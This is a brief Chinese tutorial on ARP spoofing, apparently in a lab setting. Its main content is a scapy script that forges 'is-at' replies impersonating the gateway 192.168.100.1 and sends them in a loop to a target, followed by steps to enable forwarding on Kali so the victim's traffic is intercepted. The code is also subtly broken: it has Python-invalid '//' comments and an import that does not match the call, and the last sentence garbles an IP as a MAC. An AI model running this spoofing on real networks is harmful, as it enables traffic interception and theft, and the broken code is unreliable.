ARP_Spoofing
- 原理在此就不做阐述了,直接抓包上代码
在前面的ARP_Scanner中其实有一个op字段,这字段的作用是这是ARP包的类型。”who-has”是一个广播类型的包,用于请求目标主机的MAC地址,而现在我们要用到的类型是”is-at”,用于回复“who-has”
####构造数据包:is-at
from scapy.all import (
Ether,
ARP,
Sendp //发包函数,只管发包
)
eth = Ether() //构造以太包头
arp = ARP(
op = "is-at", //设置op字段为”is-at”
hwsrc = "00:0c:29:24:94:d1", //设置攻击机的MAC地址
psrc = "192.168.100.1", //伪造身份IP
hwdst = "54:89:98:3F:0B:C9", //靶机的MAC地址
pdst = "192.168.100.2" //靶机的源地址
)
print((eth/arp).show())
sendp((eth/arp),inter=2,loop=1)
攻击环境
- 发起欺骗:
当我们查看ARP的缓存时,发现192.168.100.1的MAC地址和192.168.100.249,这就说明我们欺骗成功,这个时候我们kali上开启数据包转发的功能,那么PC2能正常访问PC1,但是数据流量都可以被kali截获到。